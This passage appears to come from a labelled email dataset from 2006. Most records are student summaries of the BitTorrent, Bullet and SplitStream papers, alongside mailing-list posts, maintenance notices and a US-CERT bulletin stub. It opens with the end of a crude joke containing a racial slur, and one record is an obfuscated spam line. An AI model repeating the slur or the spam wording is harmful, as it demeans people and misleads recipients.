the surface. He slowly climbed out of the pool. Everybody was staring in disbelief. Finally the host says, ""Leroy, I reckon I owe you a million dollars."" ""I don't want it,"" said Leroy, panting. The rich man said, ""Leroy, I have to give you something! You won the bet."" Leroy said, ""I would be satisfied if you gave me the name of whichever one of these white motherf**kers it was that pushed me in the pool.""",1,1 Ari Rabkin ,egs+summary@cs.cornell.edu,"Thu, 30 Mar 2006 02:07:12 -0500",PAPER 17," BitTorrent: Bittorrent is a system for efficient file download. The key motivations were to produce a system that worked efficiently in the presence of churn, and that forced nodes to contribute resources, to upload. BitTorrent relies on peers that want a file each swapping chunks; if a peer does not upload, it will be choked. In this way, the system enforces fairness; further, since chunks of the file are grabbed from many different peers, the system is robust against failures, slow peers, and even against peers whose connection speed changes in mid-download. The BitTorrent design is fairly ad-hoc, without any correctness proofs. The system tries to enforce fairness with respect to downloads of a single file, and does not allow exchanges across different files. The system relies on a centralized tracker, and on a single altruistic ""seed"" for a given file. Since nodes primarily download from other downloaders, the system may fail to acquire a file even if (complete) copies of it are held by nodes connected to the system. SplitStream: In a tree-based multicast, there are typically many more ""leaves"" receiving the multicast than there are interior nodes sending traffic; as a result, the interior nodes are heavily laden. This is awkward in a peer-to-peer system where nodes are neither able nor willing to bear disproportionate burden. SplitStream attempts to solve the problem by having many trees in parallel, with files striped between them. Nodes hopefully will be ""leaves"" in most of the trees, and interior nodes in a few. SplitStream builds its trees on top of some existing multicast system, such as Scribe/Pastry. A group of nodes with spare capacity is maintained, and is key for adding flexibility to the tree. SplitStream relies on the locality and efficiency properties of the underlying Pastry system in order to build the tree efficiently; in contexts where Pastry performs poorly, SplitStream would be expected to as well. SplitStream tries to make each node act as both an interior and leaf node; this is a poor choice when there are clients with very small bandwidth resources. Bullet: Bullet has the same central insight as BitTorrent and SplitStream: that multicast performance can be improved by having nodes trying to receive a broadcast share data amongst themselves instead of just downloading from the source. Bullet takes an existing multicast tree, and turns it into a mesh, using a number of specialized tricks: custom protocols are proposed for picking random subsets of nodes, for quickly comparing content, and for reliably and efficiently streaming data in a TCP-friendly way. Bullet relies on a number of highly tuned protocols, and it's not clear how weIt's not clear how well Bullet would work in a highly heterogenous network, where some nodes have very little upstream bandwidth. Also, it seems like Bullet is ignoring non-local information about the topology of the broadcast mesh that ought to be useful. Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Thu, 30 Mar 2006 02:29:20 -0500",PAPER 17,"Today's three papers present efficient data distribution schemes in peer-to-peer / overlay network systems with the concerns of load balance, fault tolerance and bandwidth utilization. The trackers in BitTorrent, which direct peers to find each other, act as single points of failure and carry load in proportion to the number of peers in the system. * BitTorrent distributes the cost of upload to downloaders. It does so by dividing files into pieces; when multiple people are downloading a file, they upload the pieces of that file to each other. * Trackers play an important role in BitTorrent. They track which peers have what data and gather statistics to help downloaders find and connect to each other. * The principle of piece selections for file download in BitTorrent is: (a) When the download just starts, users get a complete piece as quickly as possible. (b) Once a sub-piece is requested, the remaining sub-pieces of that piece are requested before other pieces. (c) The fewest pieces available are requested before popular ones. (This is called rarest first in the paper.) * SplitStream solves two problems of traditional tree-based multicast systems: (a) Interior node carry the loads to forward data while no forwarding is required by leaf nodes. It's unfair. (b) Peers who act as interior nodes may be unable to handle high-bandwidth applications due to network capacity limitations. * To solve the first problem, SplitStream works by splitting the stream into multiple stripes which uses separate multicast trees (a forest) to distribute each stripe to the peers. The goal is to ensure that vast majority of peers are interior nodes in only one tree and are leaf nodes in all other trees. * To solve the second problem, peers in SplitStream choose to join a subset of the stripes to control their inbound bandwidths. On the other hand, they opt to limit the number of children nodes they adopt to control their outbound bandwidths. Therefore the split stream system accommodates peers with different bandwidths. * Bullet constructs an overlay mesh over the distribution tree. It aims to make data items available uniformly across the system. * The basic idea of Bullet is: as a parent, each participant transmits disjoint sets of its data to its children; as children, they receive objects from their parents but are responsible for locating peers that hold missing objects. * Bullet and SplitStream can be complementary to each other. Bullet may run on each of the stripes in SplitStream to maximize the bandwidth delivered to each node along each stripe.",0,0 Gerardo Cleveland ,SPARC-OAForum@arl.org,"Thu, 30 Mar 2006 06:08:12 -0400",Acceptably.,10. The Guardian of the Gate FREEE REAL WqHeOrReErS 0NLINE! H000k up n0w,1,1 """Johnson Diann <""",<>,"Wed, 29 Mar 2006 18:15:14 +0200",[MML:] : Restless Leg Syndrome,"Hi Everyone Can someone please let me know more about the symptoms of this syndrome. I have had MG since 2003 - general and bad Ocular. The reason for my question is that I was told to stop my Prednisone in January I was only taking 30mg daily but I had been taking it for about 2 and a half years. I have been off Prednisone for about 6 weeks but none of my other medication has changed ie. Mestinon 30mg every three hrs 4 times per day and Methotrixate once a week. At night my legs cramp and I can hardly sleep - mainly the lower part thereof. During the day all my muscles are stiff and sore as if I had been doing heavy exercise a day or two before. When I get out of bed I have to walk very slowly it is as if my joints and muscles need to wake up/warm up and then the pain lets up a bit but I have this stiffness and soreness throughout the day - It is painful to climb stairs, to walk and to get up from where I have been sitting - I have a desk job - full day. It is painful to get out of my car when I have been driving for a short or long distance. When I say painful I mean stiff and sore. My Neuro says MG is not painful - I am going to see her on Friday next week and then we will discuss the above but I was wondering if anyone can help with info in the meantime. PS. I am 48 years old and I do not do any exercise other than walk around the shops now and again and climb about 20 stairs up and down about 7 to 8 times a day. Regards Diann Johnson South Africa Confidentiality Warning ======================= The contents of this e-mail and any accompanying documentation are confidential and any use thereof, in what ever form, by anyone other than the addressee is strictly prohibited. ___ Need to change your subsription email, Access the Archive or going on vacation for the list see http://myasthenia.puhs.org/mmladmin.htm ___ ""Nearly all men can stand adversity, but if you want to test a man's character, give him power."" -Abraham Lincoln ___ ___ Need to change your subsription email, Access the Archive or going on vacation for the list see http://myasthenia.puhs.org/mmladmin.htm ___ ""Nearly all men can stand adversity, but if you want to test a man's character, give him power."" -Abraham Lincoln ___ ___ Need to change your subsription email, Access the Archive or going on vacation for the list see http://myasthenia.puhs.org/mmladmin.htm ___ ""Nearly all men can stand adversity, but if you want to test a man's character, give him power."" -Abraham Lincoln ___ --Boundary_(ID_ANCaLhjGvFtZktDeM1orRg)-- Back to: Top of message | Previous page | Main OCULAR page LISTS.ASU.EDU",0,1 """Johnson Diann <""",<>,"Wed, 29 Mar 2006 18:15:14 +0200",[MML:] : Restless Leg Syndrome,"Hi Everyone Can someone please let me know more about the symptoms of this syndrome. I have had MG since 2003 - general and bad Ocular. The reason for my question is that I was told to stop my Prednisone in January I was only taking 30mg daily but I had been taking it for about 2 and a half years. I have been off Prednisone for about 6 weeks but none of my other medication has changed ie. Mestinon 30mg every three hrs 4 times per day and Methotrixate once a week. At night my legs cramp and I can hardly sleep - mainly the lower part thereof. During the day all my muscles are stiff and sore as if I had been doing heavy exercise a day or two before. When I get out of bed I have to walk very slowly it is as if my joints and muscles need to wake up/warm up and then the pain lets up a bit but I have this stiffness and soreness throughout the day - It is painful to climb stairs, to walk and to get up from where I have been sitting - I have a desk job - full day. It is painful to get out of my car when I have been driving for a short or long distance. When I say painful I mean stiff and sore. My Neuro says MG is not painful - I am going to see her on Friday next week and then we will discuss the above but I was wondering if anyone can help with info in the meantime. PS. I am 48 years old and I do not do any exercise other than walk around the shops now and again and climb about 20 stairs up and down about 7 to 8 times a day. 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",1,1 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 30 Mar 2006 13:21:06 -0500","US-CERT Cyber Security Bulletin SB06-089 -- Summary of Security Items from March 23 through March 29, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from March 23 through March 29, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from March 23 through March 29, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRCwhBH0pj593lg50AQLx3QgAluIhWKKcAG+nVqLcsDBqijz2OXz6PP5k utV4SWvC7r1Bx8t+l9Euxc/C0/fnpLn2YvLvSIle1VFKPtBcE6Ejcd0srz6K5Fc6 D2KsVHKDa0jZIIFs+oeSkqQVdyc96J3/TAH0wbV4w9JnznzdBZS377bjhtXxsroR biQzyhVdpe59XsaQ6F0+eVhed7PQrT8f9IGEWkTmehM3Gzt2270ZypZIO7jqGG+C uiyF+v/19adv5pPuATRpIUbXaUv0q9iAiR9pauzfcM7cxAbOE6oAV6kBWZlwL4PN 9KL2vxlLAQy23JJw2kY3/6HSEYutxkhvgbP/hfyBWU2VjD3o+c8a3A== =1inB -----END PGP SIGNATURE-----",0,1 Nicholas S Gerner ,egs+summary@cs.cornell.edu,"Thu, 30 Mar 2006 11:43:04 -0500",PAPER 17,"BitTorrent is a distributed file distribution protocol where downloaders of files (""leechers"") also upload parts of the file to other peers as the file is retrieved. A torrent is described in a (small) .torrent file which enumerates ""peices"" of the file (the file being broken into fixed sized chunks and each piece identifying a chunk) along with a hash of the piece, ""sub-pieces"" of each piece and a ""tracker"" which coordinates the specific torrent. In addition an initial ""seeder"" node must have all the pieces described in the .torrent file and must be known to the tracker. As new peers participate in the torrent they identify themselves to the tracker and select peers from which to download pieces and sub-pieces. Once a whole piece is downloaded and verified (via its hash) the leecher must notify the tracker which can publish the peer as a potential site from which to download the piece. Pieces to download are selected to retrieve the pieces held by the fewest peers first (to ensure that the rarest pieces will be available at many peers). The tracker provides random subsets of peers from which to download the piece constructing a random overlay. Peers additionally use a ""choking"" algorithm where they refuse to upload to peers in order to saturate the connections. This algorithm does a local search for the best connections and provides a tit-for-tat mechanism so peers with poor upload performance are ""choked"", incentivizing good behavior. The tracker is a single point of failure and is needed to coordinate the downloads and uploads of every peer in the torrent. While the coordination protocol is lightweight, if the tracker goes down, new peers are not able to join the torrent and existing peers won't be able to find new pieces not available on the peers they are currently connected to. Bullet builds a mesh over a multicast tree in order to maximize bandwidth usage at each node in the network. The root of the tree holds the original content. The multicast tree is used to distribute the content to all nodes in the tree. However, this model guarantees that the bandwidth available will monotonically decrease as you descend the tree. Bullet overlays a mesh on top of this tree to overcome this problem. A network state dissemination protocol is used to provide a fixed-sized random subset of network state information to each node in the network using the tree. Information is collected up the tree and distributed down the tree. Each node can use this subset to identify potential peers which are likely to have packets which were dropped from the parent (since the transmission from the parent is unreliable and potentially out of order). Also this enables the children to achieve more incoming bandwidth than the parent can provide. Because Bullet is layered over a tree, the tree must be constructed and maintained requiring overhead which isn't directly used to maintain the content delivery system which Bullet could provide. It seems that this is an artificial constraint on the system and limits its application and performance. If a node high up in the tree goes offline, the whole subtree will be partitioned and this requires repair by some protocol not discussed. Also leaf nodes will not contribute as much as nodes interior to the tree. SplitStream is also targeted at multimedia streaming and uses multicast trees. SplitStream assumes several stripes of data (potentially coming from different source nodes). Each node specifies a desired number of streams to receive (its indegree) and the maximum number of children (its outdegree). A Scribe multicast tree is built for each stripe. Each stripe is identified by an id on for a Pastry ring. Each node sourcing the stripe acquires that id. Each strip id has a different leading digit guaranteeing that each node will be an interior node in only strip tree (since stripe trees are the union of the pastry routing paths of nodes in the tree). Node outdegrees are maintained by building an additional extra capacity tree and having nodes reject children if having such a child would exceed its outdegree. The extra capacity tree can be used to find a node receiving the desired stripe and with extra outdegree. This construction mechanism seems heavy duty (compared to something like BitTorrent) and also incurs significant delay, especially for some real-time application like video conferencing. Experimentation on PlanetLab show that nearly 40% of nodes experience a delay exceeding 400ms which may be too high for a realtime experience. ",0,0 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Thu, 30 Mar 2006 11:59:43 -0500",paper 17 - MULTICASTING," these set of papers target high-bandwidth data distribution from a single source to a number of receivers. BASIC IDEA: split content into smaller sized chunks and distribute disjoint data sets for better recovery. BIT-TORRENT it breaks contents into sub-pieces typically 16Kb in size. the torrent file contains SHA1 hashes of all pieces and the peers dont report that they have a piece until the hash is checked against. a set of trackers help nodes in finding each other. a number of requests kept pending to avoid delay b/w pieces being sent. the order of downloading pieces depends upon the strategy being used. the authors discuss that a rarest first strategy serves the necessary purpose except when downloading starts(random first used). ""endgame-mode"": cancels have to be sent for pieces arrived to prevent bandwidth from being wasted on redundant sends. OPTIMISTIC UNCHOKING: allows upload to peers with download rates slower than the best download rate. this allows to test the bandwidth of unused connections. ANTI-SNUBBING: when over a minute goes by without getting a single piece from a particular peer, the requesting node does not upload to that peer ( assuming it is getting snubbed) - tit-for-tat strategy. this can reduce free-riding. BULLET basic idea: instead of sending the same data stream to all nodes in a tree and then designing scalable mechanisms for recovering from loss, the sender transmits disjoint data sets to various points in the network. the sender splits the data into sequential blocks. blocks are further subdivided into individual objects which are transmitted over the network. nodes receive a subset of the entire data objects from their parents but they are responsible for locating peers that hold the missing data objects. locating peers requires storage of state information that has to be updated using periodic dissemination of changing, uniformly random subsets of global state. RanSub achieves this purpose using collect and distribute messages. objects may be encoded to make data recovery more efficient. each node receiving a packet will optionally forward it to each of its children depending on factors related to the child's bandwidth and relative position in the tree. for this purpose it maintains a sending factor and a limiting factor. the sending factor is based on the number of descendants a node has while the limiting factor represents the proportion of the parent rate beyond the sending factor that each child can handle. calculating the sending factor requires knowledge of number of descendants of each node that is a child of the current node. each node maintains a working set of packets it has received ( indexed by sequence numbers). improving mesh: each node keeps a trial slot in its sender list which helps in elimination of senders that send greater amounts of duplicate packets. similarly a sender keeps a trial receiver. SPLITSTREAM the content is split into k stripes and each stripe is multicast using a separate tree. in a tree based multicast system, the burden of duplicating and forwarding multicast traffic is carried out by the interior nodes of the tree. the main goal is to balance across all nodes. this raises the challenge of constructing a forest of trees such that an interior node in a tree is a leaf in the remaining trees. the authors use scribe ( an application level group communication system) interior-node disjoint trees are created using a different msb for the group-id. a node's outdegree is limited by a ""push-down"" mechanism - if a node has reached its maximum outdegree capacity, it asks the requesting node to communicate with its children. SPARE CAPACITY GROUP : this is a special scribe group which consists of nodes who have not reached their outdegree capacity. this group can be used by a node to find a parent. cycles need to be taken care of in this mechanism. POSSIBLE FLAWS: splitting the content into same number of stripes, irrespective of the content size, does not seem a good idea. ",0,0 Kevin ,egs+summary@cs.cornell.edu,"Thu, 30 Mar 2006 12:02:03 -0500",PAPER 17,"BitTorrent is a centralized file distribution system. It is reminiscent of Napster in the way it does its routing, but far more specific per file. A tracker is stored on a server, for simplicity it is accessible through the HTTP protocol on port 80, and keeps track of the current peers downloading and uploading only one file. When a client connects to the tracker, the tracker sends back a random subset of the currently available peers who are also downloading (or are done downloading) the file. A client connects to many peers and downloads subsets of the file which it does not currently have in a rarest-available scheme. In the mean time, the client is uploading the parts of the file that it previously downloaded to other peers...in this way, clients can self monitor other peers and only upload to those that are allowing them to downloading, trying to making the communication symmetric. The problem with BitTorrent is that is has a central non-scalable point of failure. The tracker requires a fair amount of bandwidth and with very high numbers of clients (10^5 or higher), it would be non-performant. Furthermore, it is subject to legal attacks and other out-of-network attacks that Napster suffered from. It is, on the other hand, harder to go after than Napster because trackers and torrents can be stored on anyone's server, not just napster.com. The other problem with BT is that is seems to derive all of its conclusions by what was already implemented instead of experimentation and mathematics. Bullet is slightly more general than BT. It allows streaming video and other mutable file types to be shared between peers. The central idea behind bullet is similar to that of BT: once a peer has (part of) a file, it can start transferring it to other peers. To achieve this, Bullet organizes itself into a distribution tree and overlays a mesh on top. The authors argue that a distribution tree is not performant when any nodes, especially a node close the root, has a slow connection or disconnects. To alleviate this issue, the overlayed mesh connects peers that are not directly connected in the tree. The examples the authors gives are a root node, r, and two children: a and b. If the connections between all nodes is 1mpbs and the root node sends a the file, b can receive it at 2mpbs (instead of 1) because it can download from a and from r at the same time (as long as the mesh has that connection). In their experiments, Bullet achieved, on average, twice the bandwidth per node than a distribution tree. It is also less susceptible to random disconnections and low bandwidth nodes. The problem with Bullet seems to be the small amount of overhead bandwidth that is used to propagate node information that builds the mesh. The authors are quick to argue that 30kpbs is not significant enough to slow down the expected high-bandwidth connections that are expected to use it, but streaming video is not limited to high bandwidth connections. Currently, most websites have options of bandwidth between 50kpbs and 250kpbs (to satisfy modems up to decent quality broadband connections). This system would be unworkable with video bitrates of 50kpbs (or even 100kpbs) because a significant amount of bandwidth relative to the video quality would be required just as overhead. SplitStream is yet another system, once again more general than BitTorrent, that distributes data from a source to a bunch of clients/peers. SplitStream stripes data into overlapping segments (the overlap is for ECCs). Multiple distribution trees are created where each client is a leaf in every tree except one in which it is an interior node. The data that was cut into pieces is then sent along the trees and is received by all clients. In this way, SplitStream tries to achieve equal amounts of upload and download bandwidth between all peers. There are several problem with this approach. Bandwidth is often non-uniform and slower links can slow down the entire network. The other problem is the immense amount of resources needed to construct many distribution trees. In addition, when sending a larger file, the number of trees that are needed goes up. This seems like a serious flaw, especially in a system with large amounts of churn. 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A Bittorrent is started with a user deploying a torrent file containing information about the file, its length, name, and hashing information and the url of a tracker that help downloaders find each other using a simple protocol layered on top of HTTP in which the downloader sends the information that specifies which file is being downloaded and the port it is listening on and the tracker responds with A list of contact information for peers which are downloading the same file and can be further used as a source for downloading the different portions of the file. Once the downloaders have this information they contact each other and download from each other. This method of peers to find other peers is done based on random graphs, which has good inherent robustness properties. Bittorrent cuts files into smaller pieces of fixed size of around a quarter mega byte and the SHA1 hash of all the pieces are included in the torrent file so that peers can report if they have a particular piece of the file or not after checking the hash of the pieces that they have. Bit torrent further breaks down the pieces into sub-pieces of typically 16 Kilo bytes and typically keeps five sub-pieces in the pipeline for transmission based on a value based on the threshold that would saturate the connection bandwidth. Bit torrent prevents choking by using a Pareto efficiency algorithm that that does local optimization by uploading to peers which upload to them, with the goal of at any time of having several connections which are actively transferring in both directions. Bullet This paper addresses bandwidth maximization in peer to peer networks and is a scalable distributed algorithm that enable nodes spread across a peer to peer network organize itself into an overlay mesh that would maximize bandwidth. It also helps nodes in recovering missing items and reduces the need to do expensive bandwidth probing in relation to a tree-based solution. It is based on spreading the uniform random subsets of a global state to all the nodes of the overlay tree as it changes over time called Ransub which works by using two types of messages called collect and distribute messages. The collect messages propagate up the tree and leaves the state information gathered from the underlying nodes at that node and the distribute message then traverses down from the root spreading uniform random subsets to all the underlying nodes. Bullet extends it by layering a mesh on the underlying overlay tree for Ransub. SplitStream SplitStream addresses the problem of application level multicast in peer to peer networks where a relatively small number of interior nodes carry the load of forwarding multicast messages by striping the content across a forest of interior-node-disjoint multicast trees that distributes the forwarding load among all participating peers. SplitStream thus distributes the forwarding load among all peers and can accommodate peers with different bandwidth capacities while imposing low overhead for forest construction and maintenance. SplitStream achieves this by splitting the multicast stream into multiple stripes, and using separate multicast trees to distribute each stripe. Split Stream only provided a generic infrastructure for high bandwidth content distribution and it would be the application that uses the framework that decides on how the content is to be divided into the stripes. ",0,0 Chiu Wah Kelvin So ,egs+summary@cs.cornell.edu,"Thu, 30 Mar 2006 12:32:21 -0500",Paper 17," BitTorrent is a popular file distribution system. The general idea is to split the file into fixed-size segments. Bittorrent uses the tracker to gather statistic of each peers, such as upload rates, download rates, and also the segments of file they have. Whenever a peer wants to participate in download, the peer contacts the tracker to get a list of available peers. The peer individually requests segments using rarest first policy from anyone who has the segments. Although the tracker doesn't have a high load of communication, it is still a centralized approach and can suffer from scalability and single point of failure. The second paper, ""Bullet: High Bandwidth Data Dissemination Using an Overlay Mesh,"" presents a general data dissemination protocol using an overlay mesh instead of multicast tree. This overlay mesh is based on a multicast tree with some number of cross links from other peers. Therefore, it is more fault-tolerance than multicast tree where a node only receives traffic only from its parent. Another advantage of such an approach is that the data dissemination rate doesn't limit by the bottleneck bandwidth of parent links. Bullet splits the object into fragments and sends disjoint set of the fragments to each of the children in the overlay mesh. It uses RanSub to collect information of the fragments each node has. Therefore, each node can finds its potential peers to download necessary fragments. The third paper, ""SplitStream: High-Bandwidth Multicast in Cooperative Environments,"" uses multiple multicast tree to improve the efficiency. This paper identifies a problem in single multicast tree where the leaf in the tree doesn't contribute any bandwidth in the multicast. Therefore, it splits multicast stream into k stripes. Each stripe is served using a multicast tree built using Scribe. Therefore, the leaf in a tree can be an interior node of the other tree. Also, if a single node suddenly fails, the performance will not suffer since there are k-1 other multicast streams. All the techniques above can use some other data encoding, such as erasure coding, to improve performance. Although both Bullet and SplitStream require more bandwidth to maintain the underlying data dissemination structure, it can achieve a higher overall efficiency. ",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Thu, 30 Mar 2006 13:22:57 -0500",PAPER 17,"BITTORRENT Bittorrent as outlined in this paper functions in a semi-centralized manner, using a tracker to locate peers who are actively sharing a desired file. All actual data sharing, however, takes place in a P2P manner. In general, peers try to enforce a ""tit-for-tat"" sharing scheme. In order to maximize global throughput, a variety of techniques are employed. Files are broken up into half megabyte blocks, with a file's name, size, and SHA1 hashes for each block posted in a torrent file in some well known place. Each block is broken up into smaller sub blocks, typically 16KB, and at all times 5 sub-blocks are on request from a peer. Initially a random block is requested, after that the rarest blocks are requested first to preserve the overall availability of a file. Upstream bandwidth to other peers is limited by the rate at which those peers provide data. At all times, one peer is allowed full upstream bandwidth, rotating through the peers, in order to detect a peer which will support higher reciprocating rates. BULLET Bullet is fully distributed and relies upon forming a P2P mesh of nodes. It does, however transmit disjoint data sets to nodes, in order to maximize the global spread of information. Rather than request the rarest packets, bullet uses erasure or multiple description coding and requests packets from any other node which is believed to have missing data. Periodically a message is sent up and down the overlay which produces a randomized global summary of the data each node has. These summaries are disseminated, thereby allowing nodes to locate appropriate peers. Rather than use a ""tit- for-tat"" choking scheme to control bandwidth, Bullet uses a modified TCP control algorithm called TFRC which attempts do maintain a steady data rate. It does not react to packet losses or search for bandwidth as aggressively as the standard TCP flow algorithm. Simulation demonstrates that bullet provides 5 times the transfer rate achieved by a random IP multicast tree. Other simulations show that Bullet is more effective than gossip protocols. Bullet seems to be designed not as a batch system like Bittorrent but as a multimedia streaming solution, esentially augmenting tree-based multicast with peer to peer multiple description coded enhancements. Bittorrent instead implements techniques to enforce upload/download fairness and minimize the likelihood that a file will become partially unavailable over the course of it's shared lifetime. SPLITSTREAM SplitStream, like Bittorrent, does not use erasure of multiple description codes, and instead attempts to spread slices or blocks of a file throughout the overlay (although the authors do suggest the use of such codes when multimedia content is to be distributed). Rather than request blocks in heuristic manner, however, SplitStream forms multiple multicast trees to distribute each slice of the file. The challenge is then maintaining that this forest of multicast trees remain even in the sense that a node is placed high on the hierarchy of one tree and low on all others. The overlay which is used as the foundation of SplitStream is Scribe and Pastry. Scribe is an application level group communication system built on Pastry, and Scribe groups, which have a natural routing tree, are used as members of a slice multicast tree. Since a scribe routing tree terminates at some arbitrary groupID in the Pastry identifier space, Scribe groups whose groupID differ in the most significant digit will remain disjoint in the sense that a node remains a leaf node in all but one tree. Bandwidth constraints limit the degree of nodes and the size of these trees. ",0,0 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Thu, 30 Mar 2006 13:27:06 -0600",office hours tomorrow (Friday March 31),"CS352-ers, By popular demand, I will be holding office hours tomorrow (Friday March 31) from 11am-noon. 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More information on the Company can be found online. ",1,0 ,,,RE: godelian and chaotic non-computability,"Russell, Thanks for your response. A couple of remarks. I guess I agree with John McCrone on the first point, that although there is an algorithm for computing the digits of pi, the calculation can go on forever. So it's a matter of deciding whether one wants to accept the formal definition of a computable number like pi, or qualify computability with certain practical/real world considerations. On the second point, although there may be *some* 'well-defined' uncomputable numbers, most, in fact an infinite number cannot be well-defined because there are at most a countably infinite number of definitions (and most of those definitions would be questionable as to whether the numbers they describe should be considered well-defined when their character lengths grow to, say, the number of atoms in the universe). My only issue with your original posting was that the way it was stated implied that *any* uncomputable number is well defined. Regards, Frank -----Original Message----- From: complex-science@necsi.org [mailto:complex-science@necsi.org] Sent: Thursday, March 30, 2006 8:46 AM To: complex-science@necsi.org Subject: Re: godelian and chaotic non-computability On Wed, Mar 29, 2006 at 02:40:08PM -0500, Boyle, Frank wrote: > Maybe it's the terminology, but I must be missing something here. > > If pi goes on *forever*, then even though there is a formula to generate > its digits, is it really computable? Certainly the first N digits are > computable according to the posting below, but is the *entire* number > considered computable? > Yes. In fact the algorithm can be considered a finite representation of the number. > Secondly, and, to some extent, in light of this, what does it mean to > say that uncomputable numbers are ""well-defined"". Is a number that has > no algorithm to compute it, let alone that it may never end, really > viewed as well-defined? > Yes. The original example of an uncomputable, but well defined number is \\Omega, which is the proportion of input strings on which a given universal Turing machine halts. This is clearly a well defined number that lies between 0 and 1. Since there is no general algorithm to determine if a UTM halts on a given string, there is no algorithm that can compute its digits (the first few digits can be estimated by statistical means, of course). Through a variant of Cantor's diagonalisation argument, it is possible to show that there are only countably many computable numbers, so the uncomputable numbers far outnumber the computable ones. Wikipedia has nice intros to these concepts. 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Affected: ar01-earlyed-alex ar01-trans-alex ar01-ryders-alex ar01-disaster-alex Type: Scheduled ---- ID: 1338 Description: Configuration Change - Camden CORE Disruption: Transparent Campus: Camden Start Date: 04/04/2006 0700 End Date: 04/04/2006 0800 Summary: TD Network Operations will update the configuration of the Camden Core devices. No outages are expected as a result of this work. Affected: cr01-armi-armi, lr01-asb2-asb, cr01-asb Type: Scheduled ---- ID: 1339 Description: OS Upgrade - Old Gibbons Housing Disruption: Outage Campus: Douglass Start Date: 04/04/2006 0700 End Date: 04/04/2006 0730 Summary: Network Operations will upgrade the OS on as01-og26-dlib abd as01-og32-dlib. A brief disruption in network connectivity will occur for areas of Old Gibbons. Affected: as01-og26-dlib, as01-og32-dlib Type: Scheduled ---- ID: 1340 Description: ESS Systems Maintenance - NETDB Services, TD Web Tools, University FTP Disruption: Outage Campus: Core Systems & Services Start Date: 04/04/2006 1700 End Date: 04/04/2006 2100 Summary: The EMC device providing both SAN and NAS support for TD machines will be upgraded to the latest code release. The services that will be unavailable include but are not limited to: NETDB Services Oracle TD Tools & Web Services University FTP ---- ID: 1341 Description: Device Upgrade - Hill Center Disruption: Outage Campus: Busch Start Date: 04/03/2006 1700 End Date: 04/03/2006 1800 Summary: Network Operations will replace the ar01-hill012-hill device. At this time, no network connectivity will be available to networks and services connected through the ar01-hill012-hill device. Services affected will include but are not limited to: TD VOIP NETDB Services Oracle TD Tools & Web Services University FTP Affected: ar01-hill012-hill Type: Emergency ---- ID: 1342 Description: ESS Systems Maintenance - SAFEWORD Disruption: Degradation Campus: New Brunswick Start Date: 04/05/2006 0500 End Date: 04/05/2006 0700 Summary: ESS Network Systems will relocate the Hill Center safeword server new-era.rutgers.edu. A degradation in safeword authentication may occur at this time, however both Newark and Camden servers are expected to maintain service. Affected: new-era.rutgers.edu Type: Scheduled ----------------------------------------------------- If you have any questions or comments concerning this announcement, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Additional information, new issues, and maintenance schedules may be found at- http://www-td.rutgers.edu/tools/Network_Status Thank you for your attention. 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Very comprehensive. Sadly, I'm working from a couple of antistatic bags full of an assortment of old DIMMs, so I generally don't know sizes & capabilities. I removed my 3 256s and tried what I had to hand - a PC100 256 and a couple of 128s. The 128 didn't work - the Mac would not even ""bong"" with them installed - but the 256 was OK and the machine was stable with it. I've taken 2 128s from the other, stable machine and now have a stable Mac with 512MB and two ATI cards, so that, at least, is a result - but now I'm going to have to start stripping PCs and things to get up to 640, which is about as high as I'll be able to go, and to try to get the other Mac up to at least 512 if I can. Thanks for the guidance! -- Liam Proven · Blog, homepage &c: http://lproven.livejournal.com/profile Email: lproven@cix.co.uk · GMail/Google Talk/Orkut: lproven@gmail.com Tel: +44 20-8685-0498 · Mob: +44 7939-087884 · Fax: +44 870 1271528 AOL/AIM/iChat: liamproven@aol.com · MSN/Messenger: lproven@hotmail.com Yahoo: liamproven@yahoo.co.uk · Skype: liamproven · ICQ: 73187508",0,1 ,,,to Eli B,"Eli, My apologies! I not only read your post below, but I also did reply to it. When I read Jamie's text, it led me into different connotations. In the maze of the complex-science anonymously managed list it is not impossible to miss a post (or even my own reply ). John M > > >(John M) > > >Would you call such 'possibilities' as one's own > and > > >unfounded 'creation' of onesself? I consider them > as a > > >combination of 'precedent' affects on the > outcome. > > > > > > > > (Eli) > > You may call those possibilities whatever you > want. It is a choice of > > belief, not evidence. It is a label rather than a > diagnosis. I choose > > to see this as a domain of freedom and non > determinism. You choose to > > see them as an outcome of precedents, presumably > acting in concert to > > cause whatever happens. If I am to take you > seriously in that belief, > > than your choice was a determined outcome of > whatever precedents brought > > you to this state of mind and, therefore, not a > choice at all. I think > > that is was a choice by a person who reflects > often on his own > > perspectives and may often modify them as a > result. > > > > Your logic seems to imply that you have been > determined, and not the > > owner of your opportunities. For whatever it is > worth, I declare you to > > be free and rich in potentialities that you act > upon in a domain rich > > with possibilities. otherwise, why bother even > conversing? > > > > Eli > >",0,0 mksmith5@olemiss.edu,undisclosed-recipients:;,"Fri, 31 Mar 2006 16:36:13 -0600",Sun Microsystems - Matching Grant Program,"This message is being sent using E-mail to Groups ( UM Employees, Selected ). Each year Sun Microsystems offers matching grant funds for equipment for research and academic purposes. For information on Sun's 2006 Matching Grant Program, visit http://www.olemiss.edu/technews/SunGrants.pdf. The program ends May 31, 2006. M.K. Smith Academic Computing Coordinator 114 Powers Hall 915-3033 mksmith5@olemiss.edu ",0,1 ,,,Non-Darwinian evolution,"to CX DG's from Lewis L Smith Complexity has brought disparate sciences together and promoted a healthy “ cross fertilization” among disciplines. For example, concepts and metaphors from biology are beginning to influence economics, so that complexity economists are inclined to see economies as more like species in an environment than like a collection of 19th Century steam engines with their self-regulating devices, a metaphor which once inspired so many in my field, even when they didn’t realize it. Among other consequences, this contact has encouraged some economists to try to apply Darwinian notions of evolution to economics. However, starting from my experience with malaria mosquitoes in 1959-61, I have come to suspect that much of the evolution since WW II has been far faster and “smarter” than anything Darwin ever conceived of and that its process is rather different from the one which he envisaged. There are many examples which one could cite, but HIV is a classic one that surely clinches the point. C 